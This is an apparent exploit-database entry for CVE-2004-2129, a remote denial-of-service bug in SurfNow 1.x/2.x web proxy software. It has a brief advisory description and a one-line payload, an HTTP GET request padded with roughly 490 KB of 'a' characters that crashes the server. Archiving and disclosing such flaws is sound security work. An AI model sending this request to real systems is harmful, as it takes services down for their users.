Loom Software SurfNow 1.x/2.x - GET Remote Denial of Service

Author: Donato Ferrante
type: dos
platform: windows
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date_added: 2004-01-28 
date_updated: 2017-07-11 
verified: 1 
codes: CVE-2004-2129;OSVDB-34287 
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source: https://www.securityfocus.com/bid/9519/info

A problem has been identified in the handling of specific types of requests by SurfNOW. Upon receiving specially crafted HTTP GET requests, it is possible for a remote attacker to crash a vulnerable implementation, denying service to the user.

GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n